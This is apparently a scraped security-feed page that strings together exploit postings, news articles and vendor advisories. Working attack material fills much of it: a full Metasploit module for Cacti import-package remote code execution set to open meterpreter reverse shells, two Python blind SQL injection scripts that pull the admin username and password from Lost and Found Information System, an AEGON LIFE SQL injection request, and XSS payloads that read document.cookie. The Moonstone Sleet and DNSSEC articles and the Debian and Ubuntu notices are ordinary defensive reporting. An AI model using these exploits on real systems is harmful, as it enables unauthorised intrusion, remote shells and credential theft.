AEGON LIFE version 1.0 suffers from a remote SQL injection vulnerability.

    # Exploit Title: Life Insurance Management System- SQL injection vulnerability.# Exploit Author: Aslam Anwar Mahimkar# Date: 18-05-2024# Category: Web application# Vendor Homepage: https://projectworlds.in/# Software Link: https://projectworlds.in/life-insurance-management-system-in-php/# Version: AEGON LIFE v1.0# Tested on: Linux# CVE: CVE-2024-36597# Description:----------------Aegon Life v1.0 was discovered to contain a SQL injection vulnerability via the client_id parameter at clientStatus.php.Important user data or system data may be leaked and system security may be compromised. Then environment is secure and the information can be used by malicious users.# Payload:------------------client_id=1511986023%27%20OR%201=1%20--%20a # Steps to reproduce-------------------------- -Login with your creds -Navigate to this directory - /client.php -Click on client Status -Will navigate to /clientStatus.php -Capture the request in burp and inject SQLi query in client_id= filed# Burp Request-------------------GET /lims/clientStatus.php?client_id=1511986023%27%20OR%201=1%20--%20a HTTP/1.1Host: localhostsec-ch-ua: "Not-A.Brand";v="99", "Chromium";v="124"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Linux"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=v6g7shnk1mm5vq6i63lklck78nConnection: close

AEGON LIFE 1.0 SQL Injection

The recently identified threat actor uses public registries for distribution and has expanded capabilities to disrupt the software supply chain.

Source: Igor Stevanovic via Alamy Stock Photo

A newly identified North Korean threat actor has widened its distribution of malicious node package manager (npm) code to public registries. And it's differentiating itself from other state-sponsored groups as it ramps up activity to threaten the software supply chain by poisoning open source code repositories.

Moonstone Sleet first appeared on the scene late last month, when Microsoft revealed that the threat group concurrently was engaged in espionage and financial cyberattacks using a grab bag of attack techniques against aerospace, education, and software organizations and developers.

Among those techniques was to try to get hired for remote tech jobs with real companies and, in the process, spread malicious npm packages on LinkedIn and freelancer websites. Now researchers from CheckMarx have discovered that the scope of Moonstone Sleet's malicious npm package activity is wider than first reported, according to a blog post published on June 13.

The actor is "placing those malicious packages in public open source package repositories that are accessible to developers," an activity that allows the actor to expand its attack surface, Tzachi Zornstein, head of software supply chain at Checkmarx, tells Dark Reading.

"With the revelation of this new North Korean group, coupled with the recent attacks by Russian and North Korean threat actors … it has become increasingly apparent that the open-source ecosystem has become a prime target for powerful and sophisticated adversaries," Zornstein and fellow CheckMarx researcher Yehuda Gelb wrote in the post.

The researchers cite the multiyear supply chain attack that started with a backdoor implanted in the XZ Utils data compression utility to demonstrate how spreading malicious open source code can have a massive ripple effect across the security of enterprise software.

**Differentiation From Lazarus Activity**

CheckMarx also discovered how Moonstone Sleet is setting itself apart through the structure and the style of its malicious code packages from another well-known and prolific North Korean actor — Jade Sleet, better known as Lazarus — that engages in similar activity.

The newest packages published late last year and in the first quarter of 2024 show Moonstone Sleet using "a single-package approach" that executes its payload immediately upon installation, the researchers wrote.

Further, while earlier malicious payloads "included OS-specific code, executing only if it detected that it was running on a Windows machine," packages released earlier this year show the actor adding obfuscation and creating code to target Linux systems if that OS is detected by the package, the researchers revealed.

In contrast, Lazarus designed its packages, discovered in the summer of 2023, to work in pairs, with each pair being published by a separate npm user account to distribute their malicious functionality. "This approach was used in an attempt to make it more challenging to detect and trace the malicious activity back to a single source," Zornstein and Gelb wrote.

The first package from Lazarus would create a directory on the victim's machine, fetch updates from a remote server, and save them in a file within the newly created directory, while the second package would execute the malicious payload.

**Evolving Threat to Open Source Ecosystem**

The tactic of publishing malicious npm packages by North Korean threat actors in general "underscores the persistent nature of their campaign" and poses a growing risk for the open source community that depends on public registries for software development.

"By uploading those malicious packages to a public registry, the attackers abuse the trust that developers have for the open source registries," Zornstein says.

However, while the open source community plays a key role in maintaining the security and integrity of the ecosystem, the primary responsibility for ensuring the safety of the software supply chain lies with the organizations that consume these packages. That's why it's imperative for organizations to "scan the code in the packages for malicious behaviors … prior to making the code available to developers," he says.

Developers and organizations also should continue to collaborate and share information among themselves and with the security community to identify and thwart these attacks, the researchers said. "Through collective effort and proactive measures," they wrote, "we can work towards a safer and more secure open-source ecosystem for all."

**About the Author(s)**

Elizabeth Montalbano is a freelance writer, journalist, and therapeutic writing mentor with more than 25 years of professional experience. Her areas of expertise include technology, business, and culture. Elizabeth previously lived and worked as a full-time journalist in Phoenix, San Francisco, and New York City; she currently resides in a village on the southwest coast of Portugal. In her free time, she enjoys surfing, hiking with her dogs, traveling, playing music, yoga, and cooking.

North Korea's Moonstone Sleet Widens Distribution of Malicious Code

Why the company took so long to address the issue is not known given that most other stakeholders had a fix out for the issue months ago.

Source: Robert K. Chin via Alamy Stock Photo

Among the more dangerous of the flaws for which Microsoft released a patch this week on Patch Tuesday is a denial-of-service (DoS) vulnerability publicly disclosed back in February in the Domain Name System Security Extensions (DNSSEC) protocol.

The vulnerability, identified as CVE-2023-50868 exists in a third-party DNSSEC mechanism called Next Secure Hash 3 (NSEC3) for proving that a non-existent domain truly doesn't exist, thereby protecting against malicious cataloging of signed DNS zones. The vulnerability gives attackers a way to craft DNS packets that would cause the DNS resolver to essentially exhaust its computing resources in trying to respond.

It affects several different vendors and projects, including Unbound, BIND, dnsmasq, PowerDNS, various Linux distros, and others, who released patches well before Microsoft did. A list of advisories can be found here.

**DNSSEC Resource Exhaustion Flaws**

CVE-2023-50868 is actually one of two serious DNSSEC flaws that researchers from the German National Research Center for Applied Cybersecurity ATHENE quietly informed industry stakeholders about last year.

The other is CVE-2023-50387, or "KeyTrap," a similar though more serious DNSSEC resource exhaustion bug that researchers believed would have allowed attackers to bring down large swathes of the Internet had it remained unmitigated. What made KeyTrap so dangerous is that it gave attackers a way to use a single packet to exhaust the processing capacity of a vulnerable DNS Server, essentially rendering it offline says Tom Marsland, vice president of technology at Cloud Range. "It does this by tricking those servers into performing extra calculations that overload their CPU." He estimates that some 31% of all DNS servers were vulnerable to the attack.

CVE-2023-50868 is similar in that it gives attackers a way to exhaust a DNS resolvers CPU cycles and cause it to become unresponsive.

Tyler Reguly, associate director, security R&D at Fortra says one of the biggest problems with protocol-level flaws such as CVE-2023-50868 is that they give attackers a way to tie up the server and get it to slow down or stop responding altogether.

"Once the denial-of-service slows down the DNS server's responsiveness, the amount of time that an attacker has to perform DNS cache poisoning increases drastically," he says. "What's interesting with this flaw is that the very technology designed to make DNS cache poisoning for non-existent domains harder has made cache poisoning easier for attackers."

**Microsoft's Lonely Zero-Day World**

Several major providers of DNS resolution services publicly released details of both DNSSEC flaws in a coordinated disclosure in February after they had developed mitigations for the threat. Microsoft too issued a patch for KeyTrap at the time, but waited till this week to announce a fix for CVE-2023-50868 — making the bug a zero-day threat at least from a Microsoft standpoint.

And indeed, it's somewhat surprising that Microsoft took so long to get to it, Reguly notes. He suspects one reason could be that most organizations rely on other services for external DNS, and Microsoft felt the risk associated with Microsoft's DNS resolution services wasn't all that significant.

 "We've seen vendors work together on big ticket items in the past when protocol flaws are in the mix, and it always impresses me that the vendor community is able to come together and work so well to fix these issues without any major leaks," Reguly says. "Why Microsoft dropped the ball on this CVE is unknown to me, but I'd love to see them address why it took them so much longer than the other vendors to release this fix."

Lionel Litty, chief security architect at Menlo Security, says another issue is that algorithmic complex vulnerability such as the two DNSSEC resource exhaustion flaws can be challenging to fix.

"Fixing this type of issue may require rethinking how algorithms are implemented and deciding when not to adhere to the specification because doing so would require an unreasonable amount of computation," Litty says. "It can also lead to more fundamental redesigns of how requests are prioritized by the server so that no one client can prevent others from getting their requests answered in a timely manner." In this light, it is not surprising that fixing this issue might have taken some vendors more time, he says.

**Cross-Industry Collaboration**

CVE-2023-50868 and CVE-2023-50387 are among several bugs in recent years that have forced an industry-wide response because they have existed at the protocol level or in foundational Internet technologies. The so-called Heartbleed vulnerability in the OpenSSL protocol from 2014 remains one of the most notable. But there have been others as well.

Relatively recent examples include one in the Bluetooth protocol (CVE-2023-45866), another in the UPnP Plug and Play protocol dubbed CallStranger and a vulnerability in the GTP protocol that threatened mobile networks.

Jason Soroko, senior vice president at Sectigo, sees a mixed record in the patching of such cross-vendor issues.

"While some vendors have improved their responsiveness and coordination, others have lagged behind," he says. "The coordination between different vendors and security researchers has generally improved, with more collaborative efforts to address and mitigate vulnerabilities promptly. However, the speed and efficiency of patching still vary significantly across the industry."

**About the Author(s)**

Jai Vijayan is a seasoned technology reporter with over 20 years of experience in IT trade journalism. He was most recently a Senior Editor at Computerworld, where he covered information security and data privacy issues for the publication. Over the course of his 20-year career at Computerworld, Jai also covered a variety of other technology topics, including big data, Hadoop, Internet of Things, e-voting, and data analytics. Prior to Computerworld, Jai covered technology issues for The Economic Times in Bangalore, India. Jai has a Master's degree in Statistics and lives in Naperville, Ill.

Microsoft, Late to the Game on Dangerous DNSSEC Zero-Day Flaw

This exploit module leverages an arbitrary file write vulnerability in Cacti versions prior to 1.2.27 to achieve remote code execution. It abuses the Import Packages feature to upload a specially crafted package that embeds a PHP file. Cacti will extract this file to an accessible location. The module finally triggers the payload to execute arbitrary PHP code in the context of the user running the web server. Authentication is needed and the account must have access to the Import Packages feature. This is granted by setting the Import Templates permission in the Template Editor section.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Cacti  include Msf::Payload::Php  include Msf::Exploit::FileDropper  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Cacti Import Packages RCE',        'Description' => %q{          This exploit module leverages an arbitrary file write vulnerability          (CVE-2024-25641) in Cacti versions prior to 1.2.27 to achieve RCE. It          abuses the `Import Packages` feature to upload a specially crafted          package that embeds a PHP file. Cacti will extract this file to an          accessible location. The module finally triggers the payload to execute          arbitrary PHP code in the context of the user running the web server.          Authentication is needed and the account must have access to the          `Import Packages` feature. This is granted by setting the `Import          Templates` permission in the `Template Editor` section.        },        'License' => MSF_LICENSE,        'Author' => [          'Egidio Romano', # Initial research and discovery          'Christophe De La Fuente' # Metasploit module        ],        'References' => [          [ 'URL', 'https://karmainsecurity.com/KIS-2024-04'],          [ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-7cmj-g5qc-pj88'],          [ 'CVE', '2024-25641']        ],        'Platform' => ['unix linux win'],        'Privileged' => false,        'Arch' => [ARCH_PHP, ARCH_CMD],        'Targets' => [          [            'PHP',            {              'Arch' => ARCH_PHP,              'Platform' => 'php',              'Type' => :php,              'DefaultOptions' => {                # Payload is not set automatically when selecting this target.                # Select Meterpreter by default                'PAYLOAD' => 'php/meterpreter/reverse_tcp'              }            }          ],          [            'Linux Command',            {              'Arch' => ARCH_CMD,              'Platform' => [ 'unix', 'linux' ],              'DefaultOptions' => {                # Payload is not set automatically when selecting this target.                # Select a x64 fetch payload by default.                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'              }            }          ],          [            'Windows Command',            {              'Arch' => ARCH_CMD,              'Platform' => 'win',              'DefaultOptions' => {                # Payload is not set automatically when selecting this target.                # Select a x64 fetch payload by default.                'PAYLOAD' => 'cmd/windows/http/x64/meterpreter_reverse_tcp'              }            }          ]        ],        'DisclosureDate' => '2024-05-12',        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]        }      )    )    register_options(      [        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),        OptString.new('PASSWORD', [ true, 'Password to login with', 'admin']),        OptString.new('TARGETURI', [ true, 'The base URI of Cacti', '/cacti'])      ]    )  end  def check    # Step 1 - Check if the target is Cacti and get the version    print_status('Checking Cacti version')    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'index.php'),      'method' => 'GET',      'keep_cookies' => true    )    return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?    html = res.get_html_document    begin      cacti_version = parse_version(html)      version_msg = "The web server is running Cacti version #{cacti_version}"    rescue Msf::Exploit::Cacti::CactiNotFoundError => e      return CheckCode::Safe(e.message)    rescue Msf::Exploit::Cacti::CactiVersionNotFoundError => e      return CheckCode::Unknown(e.message)    end    if Rex::Version.new(cacti_version) < Rex::Version.new('1.2.27')      print_good(version_msg)    else      return CheckCode::Safe(version_msg)    end    # Step 2 - Login    @csrf_token = parse_csrf_token(html)    return CheckCode::Unknown('Could not get the CSRF token from `index.php`') if @csrf_token.empty?    begin      do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)    rescue Msf::Exploit::Cacti::CactiError => e      return CheckCode::Unknown("Login failed: #{e}")    end    @logged_in = true    # Step 3 - Check if the user has enough permissions to reach `package_import.php`    print_status('Checking permissions to access `package_import.php`')    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'package_import.php'),      'method' => 'GET',      'keep_cookies' => true    )    return CheckCode::Unknown('Could not access `package_import.php` - no response') if res.nil?    return CheckCode::Unknown("Could not access `package_import.php` - unexpected HTTP response code: #{res.code}") unless res.code == 200    # The form with the CSRF token input field is not present when access is denied    if parse_csrf_token(res.get_html_document).empty?      return CheckCode::Safe('Could not access `package_import.php` - insufficient permissions')    end    CheckCode::Appears  end  # Taken from modules/payloads/singles/php/exec.rb  def php_exec(cmd)    dis = '$' + rand_text_alpha(4..7)    shell = <<-END_OF_PHP_CODE    #{php_preamble(disabled_varname: dis)}    $c = base64_decode("#{Rex::Text.encode_base64(cmd)}");    #{php_system_block(cmd_varname: '$c', disabled_varname: dis)}    END_OF_PHP_CODE    Rex::Text.compress(shell)  end  def generate_package    @payload_path = "resource/#{rand_text_alphanumeric(5..10)}.php"    php_payload = target['Type'] == :php ? payload.encoded : php_exec(payload.encoded)    digest = OpenSSL::Digest.new('SHA256')    pkey = OpenSSL::PKey::RSA.new(2048)    file_signature = pkey.sign(digest, php_payload)    xml_data = <<~XML      <xml>         <files>            <file>               <name>#{@payload_path}</name>               <data>#{Rex::Text.encode_base64(php_payload)}</data>               <filesignature>#{Rex::Text.encode_base64(file_signature)}</filesignature>            </file>         </files>         <publickey>#{Rex::Text.encode_base64(pkey.public_key.to_pem)}</publickey>         <signature></signature>      </xml>    XML    signature = pkey.sign(digest, xml_data)    xml_data.sub!('<signature></signature>', "<signature>#{Rex::Text.encode_base64(signature)}</signature>")    Rex::Text.gzip(xml_data)  end  def upload_package    print_status('Uploading the package')    # Default parameters sent when importing packages from the web UI    # Randomizing these values might be suspicious    vars_form = {      '__csrf_magic' => @csrf_token,      'trust_signer' => 'on',      'data_source_profile' => '1',      'remove_orphans' => 'on',      'replace_svalues' => 'on',      'image_format' => '3',      'graph_height' => '200',      'graph_width' => '700',      'save_component_import' => '1',      'preview_only' => 'on',      'action' => 'save'    }    vars_form_data = []    vars_form.each do |name, data|      vars_form_data << { 'name' => name, 'data' => data }    end    vars_form_data << {      'name' => 'import_file',      'filename' => "#{rand_text_alphanumeric(5..10)}.xml.gz",      'content_type' => 'application/x-gzip',      'encoding' => 'binary',      'data' => generate_package    }    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'package_import.php'),      'method' => 'POST',      'keep_cookies' => true,      'vars_form_data' => vars_form_data    )    fail_with(Failure::Unreachable, 'Could not connect to the web server - no response when sending the preview import request') if res.nil?    fail_with(Failure::UnexpectedReply, "Unexpected response code (#{res.code}) when sending the preview import request") unless res.code == 200    html = res.get_html_document    local_path = html.xpath('//input[starts-with(@id, "chk_file")]/@title').text    fail_with(Failure::Unknown, 'Unable to import the package') if local_path.empty?    vars_form['preview_only'] = ''    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'package_import.php'),      'method' => 'POST',      'keep_cookies' => true,      'vars_post' => vars_form    )    fail_with(Failure::Unreachable, 'Could not connect to the web server - no response when importing the package') if res.nil?    fail_with(Failure::UnexpectedReply, "Unexpected response code when importing the package (#{res.code})") unless res.code == 302    local_path  end  def trigger_payload    # Expecting no response    print_status('Triggering the payload')    send_request_cgi({      'uri' => normalize_uri(target_uri.path, @payload_path),      'method' => 'GET'    }, 1)  end  def exploit    # Setting the `FETCH_DELETE` option seems to break the payload execution.    # `Msf::Exploit::FileDropper` will be used later to cleanup. Note that it    # is not possible to opt-out anymore.    fail_with(Failure::BadConfig, 'FETCH_DELETE must be set to false') if datastore['FETCH_DELETE']    unless @csrf_token      begin        @csrf_token = get_csrf_token      rescue CactiError => e        fail_with(Failure::NotFound, "Unable to get the CSRF token: #{e.class} - #{e}")      end    end    unless @logged_in      begin        do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)      rescue CactiError => e        fail_with(Failure::NoAccess, "Login failure: #{e.class} - #{e}")      end    end    package_path = upload_package    register_file_for_cleanup(package_path)    # For fetch payloads, setting the `FETCH_DELETE` option seems to break the    # payload execution. Using `#register_file_for_cleanup` instead, since we    # know the local path.    if target['Type'] != :php && payload_instance.is_a?(Msf::Payload::Adapter::Fetch)      if File.absolute_path?(datastore['FETCH_FILENAME'])        register_file_for_cleanup(datastore['FETCH_FILENAME'])      else        register_file_for_cleanup(File.join(File.dirname(package_path), datastore['FETCH_FILENAME']))      end    end    trigger_payload  endend

Cacti Import Packages Remote Code Execution

Lost and Found Information System version 1.0 suffers from a reflective cross site scripting vulnerability.

    # Exploit Title: Refelcted Cross Site Scripting Exploit - Lost and Found Information System # Exploit Author: Amit Roy (Rezur / AR0x7)# Date: June 07, 2024# Vendor Homepage: https://www.sourcecodester.com/php/16525/lost-and-found-information-system-using-php-and-mysql-db-source-code-free-download.html# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-lfis.zip# Tested on: Kali Linux, Apache, Mysql# Version: v1.0# Exploit Description:#   Lost and Found Information System v1.0 suffers from a Refelcted Cross Site Scripting Vulnerability allowing attackers to execute javascript in context of other users# CVE : CVE-2024-378591) Visit the folowing url to trigger the XSS - http://target.com/admin/?page=<img src=x onerror=alert(document.cookie)>

Lost And Found Information System 1.0 Cross Site Scripting

Lost and Found Information System version 1.0 suffers from an unauthenticated blind boolean-based remote SQL injection vulnerability.

    # Exploit Title: Unauthenticated Blind Boolean-Based SQL Injection Exploit - Lost and Found Information System # Exploit Author: Amit Roy (Rezur / AR0x7)# Date: June 07, 2024# Vendor Homepage: https://www.sourcecodester.com/php/16525/lost-and-found-information-system-using-php-and-mysql-db-source-code-free-download.html# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-lfis.zip# Tested on: Kali Linux, Apache, Mysql# Version: v1.0# Exploit Description:#   Lost and Found Information System v1.0 suffers from an unauthenticated SQL Injection Vulnerability allowing remote attackers to dump the SQL database using a Blind SQL Injection attack.# CVE : CVE-2024-37857import requests,string,sys,argparser = requests.Session()proxies = {'http': 'http://127.0.0.1:8080'}admin_path = "/php-lfis/admin/index.php"createCategory_path = "/php-lfis/classes/Master.php"def char_extract(rhost, payload):    params = {"page": "categories/view_category", "id": payload}    response = r.get(rhost+admin_path, params=params)    if "Category ID is not valid" not in response.text:        return True    else:        return False    def sqli(rhost, column):    charset = string.printable    output_length = 200    output = ""    for i in range(output_length):        for char in charset:            # Extracts the credentials of user with id=1, admin by default            payload = "13371337' or char(%s) = (select substring(%s,%s,1) from users where id=1)-- -" % (ord(str(char)),str(column),str(i+1))            sys.stdout.write(f"\r[*] Extracting: {output}\r")            if char_extract(rhost, payload):                output += char                break            elif char == '~' and not char_extract(rhost, payload):                print("[*] Extracting:",output)                return outputdef argsetup():    about  = 'Unauthenticated Blind Boolean-Based SQL Injection Exploit - Lost and Found Information System (https://www.sourcecodester.com/php/16525/lost-and-found-information-system-using-php-and-mysql-db-source-code-free-download.html)'    parser = argparse.ArgumentParser(description=about)    parser.add_argument('-t', '--target', help='Target ip address or hostname. Example : "http://localhost"', required=True)    args = parser.parse_args()    return argsdef main():    args   = argsetup()    rhost = args.target    print(sqli(rhost, 'username'),':',sqli(rhost, 'password'))if __name__ == "__main__":    main()

Lost And Found Information System 1.0 SQL Injection

Lost and Found Information System version 1.0 suffers from an unauthenticated blind time-based remote SQL injection vulnerability.

    # Exploit Title: Unauthenticated Blind Time-Based SQL Injection Exploit - Lost and Found Information System # Exploit Author: Amit Roy (Rezur / AR0x7)# Date: June 07, 2024# Vendor Homepage: https://www.sourcecodester.com/php/16525/lost-and-found-information-system-using-php-and-mysql-db-source-code-free-download.html# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-lfis.zip# Tested on: Kali Linux, Apache, Mysql# Version: v1.0# Exploit Description:#   Lost and Found Information System v1.0 suffers from an unauthenticated SQL Injection Vulnerability allowing remote attackers to dump the SQL database using a Blind SQL Injection attack.# CVE : CVE-2024-37858import requests,string,sys,argparser = requests.Session()proxies = {'http': 'http://127.0.0.1:8080'}admin_path = "/php-lfis/admin/index.php"createCategory_path = "/php-lfis/classes/Master.php"def char_extract(rhost, payload):    params = {"page": "categories/manage_category", "id": payload}    response = r.get(rhost+admin_path, params=params)    if response.elapsed.total_seconds() > 1:        return True    else:        return False    def sqli(rhost, column):    charset = string.printable    output_length = 200    output = ""    for i in range(output_length):        for char in charset:            # Extracts the credentials of user with id=1, admin by default            payload = "13371337' or if((char(%s)=(select substring(%s,%s,1) from users where id=1)),sleep(1),1)-- -" % (ord(str(char)),str(column),str(i+1))            sys.stdout.write(f"\r[*] Extracting: {output}\r")            if char_extract(rhost, payload):                output += char                break            elif char == '~' and not char_extract(rhost, payload):                print("[*] Extracting:",output)                return outputdef argsetup():    about  = 'Unauthenticated Blind Time-Based SQL Injection Exploit - Lost and Found Information System (https://www.sourcecodester.com/php/16525/lost-and-found-information-system-using-php-and-mysql-db-source-code-free-download.html)'    parser = argparse.ArgumentParser(description=about)    parser.add_argument('-t', '--target', help='Target ip address or hostname. Example : "http://localhost"', required=True)    args = parser.parse_args()    return argsdef main():    args   = argsetup()    rhost = args.target    print(sqli(rhost, 'username'),':',sqli(rhost, 'password'))if __name__ == "__main__":    main()

Lost and Found Information System version 1.0 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: Stored Cross Site Scripting Exploit - Lost and Found Information System # Exploit Author: Amit Roy (Rezur / AR0x7)# Date: June 07, 2024# Vendor Homepage: https://www.sourcecodester.com/php/16525/lost-and-found-information-system-using-php-and-mysql-db-source-code-free-download.html# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-lfis.zip# Tested on: Kali Linux, Apache, Mysql# Version: v1.0# Exploit Description:#   Lost and Found Information System v1.0 suffers from a Stored Cross Site Scripting Vulnerability allowing authenticated attackers to execute javascript in context of other users including the admin# CVE : CVE-2024-378561) Go to the User Profile page2) Paste the XSS payload '<script>alert(document.cookie)</script>' in either of the first, last, middle name fields3) The payload will be triggered in the context of the admin or the other users# Exploit Title: Refelcted Cross Site Scripting Exploit - Lost and Found Information System

Debian Linux Security Advisory 5709-1 - Multiple security issues have been found in the Mozilla Firefox web browser, which could potentially result in the execution of arbitrary code, the bypass of sandbox restrictions or an information leak.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512

- -------------------------------------------------------------------------  
Debian Security Advisory DSA-5709-1                   security@debian.org  
https://www.debian.org/security/                       Moritz Muehlenhoff  
June 12, 2024                         https://www.debian.org/security/faq  
- -------------------------------------------------------------------------

Package        : firefox-esr  
CVE ID         : CVE-2024-5688 CVE-2024-5690 CVE-2024-5691 CVE-2024-5693   
                 CVE-2024-5696 CVE-2024-5700 CVE-2024-5702

Multiple security issues have been found in the Mozilla Firefox web  
browser, which could potentially result in the execution of arbitrary  
code, the bypass of sandbox restrictions or an information leak.

For the oldstable distribution (bullseye), these problems have been fixed  
in version 115.12.0esr-1~deb11u1.

For the stable distribution (bookworm), these problems have been fixed in  
version 115.12.0esr-1~deb12u1.

We recommend that you upgrade your firefox-esr packages.

For the detailed security status of firefox-esr please refer to  
its security tracker page at:  
https://security-tracker.debian.org/tracker/firefox-esr

Further information about Debian Security Advisories, how to apply  
these updates to your system and frequently asked questions can be  
found at: https://www.debian.org/security/

Mailing list: debian-security-announce@lists.debian.org  
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAmZp3moACgkQEMKTtsN8  
Tjatxw/9FfA9OK9R93tp9VFpY58Wszpi7nJYMtGHiXnZTIrVX8ujEvWOcXic/iKx  
yetUGpakGs4IU2+sTXDRqHhRupSOGVM642pBeXrX/WAGyyqJ0xGuMXDDSjlPu745  
UTywd2KEID9LxBCI6WOJXhiQXTpkA2oTJa63Hy1d04x19yCdlyMPvGFf6dvaZ5+C  
jzjPGmye+ym/SBkd+9eYafRqmauT+wn5N/SBHr+3EvY2Orssiw+0d1/HQ1Z+2n5/  
dzNW/npF7TlFrXtOb6GkKNP+agY6HrbMqg+2WWm1LkrexlJSBPCTg3PxXv//ejm2  
wd9eRyDyJnavwdDi4L4zXtMqLFouGFQdOYOB7qx+7yBfPUsp9arvMPaookrKxR5y  
HAjut/sbwODC6WJyWrEHP91OjFRrjkIK5YE2dgYrc5T03DMKW5oL0Ff4Pj+eUfbf  
fLyNQ2niC5MO9hO1H++u7sdWjQfZh6OrFEfw6Et1J/U5BIs7k5td4XvWtcyaTPHS  
mBtTV13yUV9In3ARt3Kl7KiszGp476mZe/FlAMYOfdvlDGHMSF9uOIf+m9G9pXg9  
gAYzkvFDAJ+Gih+iDunPCSjvREpsjplmukK3bpNuHi1I7po4puUcVdNLSg9KjEUf  
wzBZhyAplATbnhZ22+pFssFKXgGxjEI9Ovw/5K4mX3Rgt3rb+zU=  
=9bhr  
-----END PGP SIGNATURE-----

Debian Security Advisory 5709-1

Ubuntu Security Notice 6819-3 - Alon Zahavi discovered that the NVMe-oF/TCP subsystem in the Linux kernel did not properly validate H2C PDU data, leading to a null pointer dereference vulnerability. A remote attacker could use this to cause a denial of service. Chenyuan Yang discovered that the RDS Protocol implementation in the Linux kernel contained an out-of-bounds read vulnerability. An attacker could use this to possibly cause a denial of service.

    ==========================================================================Ubuntu Security Notice USN-6819-3June 12, 2024linux-oem-6.5 vulnerabilities==========================================================================A security issue affects these releases of Ubuntu and its derivatives:- Ubuntu 22.04 LTSSummary:Several security issues were fixed in the Linux kernel.Software Description:- linux-oem-6.5: Linux kernel for OEM systemsDetails:Alon Zahavi discovered that the NVMe-oF/TCP subsystem in the Linux kerneldid not properly validate H2C PDU data, leading to a null pointerdereference vulnerability. A remote attacker could use this to cause adenial of service (system crash). (CVE-2023-6356, CVE-2023-6535,CVE-2023-6536)Chenyuan Yang discovered that the RDS Protocol implementation in the Linuxkernel contained an out-of-bounds read vulnerability. An attacker could usethis to possibly cause a denial of service (system crash). (CVE-2024-23849)It was discovered that a race condition existed in the Bluetooth subsystemin the Linux kernel, leading to a null pointer dereference vulnerability. Aprivileged local attacker could use this to possibly cause a denial ofservice (system crash). (CVE-2024-24860)Several security issues were discovered in the Linux kernel.An attacker could possibly use these to compromise the system.This update corrects flaws in the following subsystems:   - ARM64 architecture;   - PowerPC architecture;   - RISC-V architecture;   - S390 architecture;   - Core kernel;   - x86 architecture;   - Block layer subsystem;   - Cryptographic API;   - ACPI drivers;   - Android drivers;   - Drivers core;   - Power management core;   - Bus devices;   - Device frequency scaling framework;   - DMA engine subsystem;   - EDAC drivers;   - ARM SCMI message protocol;   - GPU drivers;   - IIO ADC drivers;   - InfiniBand drivers;   - IOMMU subsystem;   - Media drivers;   - Multifunction device drivers;   - MTD block device drivers;   - Network drivers;   - NVME drivers;   - Device tree and open firmware driver;   - PCI driver for MicroSemi Switchtec;   - Power supply drivers;   - RPMSG subsystem;   - SCSI drivers;   - QCOM SoC drivers;   - SPMI drivers;   - Thermal drivers;   - TTY drivers;   - VFIO drivers;   - BTRFS file system;   - Ceph distributed file system;   - EFI Variable file system;   - EROFS file system;   - Ext4 file system;   - F2FS file system;   - GFS2 file system;   - JFS file system;   - Network file systems library;   - Network file system server daemon;   - File systems infrastructure;   - Pstore file system;   - ReiserFS file system;   - SMB network file system;   - BPF subsystem;   - Memory management;   - TLS protocol;   - Ethernet bridge;   - Networking core;   - IPv4 networking;   - IPv6 networking;   - Logical Link layer;   - MAC80211 subsystem;   - Multipath TCP;   - Netfilter;   - NetLabel subsystem;   - Network traffic control;   - SMC sockets;   - Sun RPC protocol;   - AppArmor security module;   - Intel ASoC drivers;   - MediaTek ASoC drivers;   - USB sound devices;(CVE-2023-52612, CVE-2024-26808, CVE-2023-52691, CVE-2023-52618,CVE-2023-52463, CVE-2023-52447, CVE-2024-26668, CVE-2023-52454,CVE-2024-26670, CVE-2024-26646, CVE-2023-52472, CVE-2024-26586,CVE-2023-52681, CVE-2023-52453, CVE-2023-52611, CVE-2023-52622,CVE-2024-26641, CVE-2023-52616, CVE-2024-26592, CVE-2023-52606,CVE-2024-26620, CVE-2023-52692, CVE-2024-26669, CVE-2023-52623,CVE-2023-52588, CVE-2024-26616, CVE-2024-26610, CVE-2024-35839,CVE-2023-52490, CVE-2023-52672, CVE-2024-26612, CVE-2023-52617,CVE-2023-52697, CVE-2024-26644, CVE-2023-52458, CVE-2023-52598,CVE-2024-35841, CVE-2023-52664, CVE-2023-52635, CVE-2023-52676,CVE-2023-52669, CVE-2024-26632, CVE-2023-52486, CVE-2024-26625,CVE-2023-52608, CVE-2024-26634, CVE-2023-52599, CVE-2024-26618,CVE-2024-26640, CVE-2023-52489, 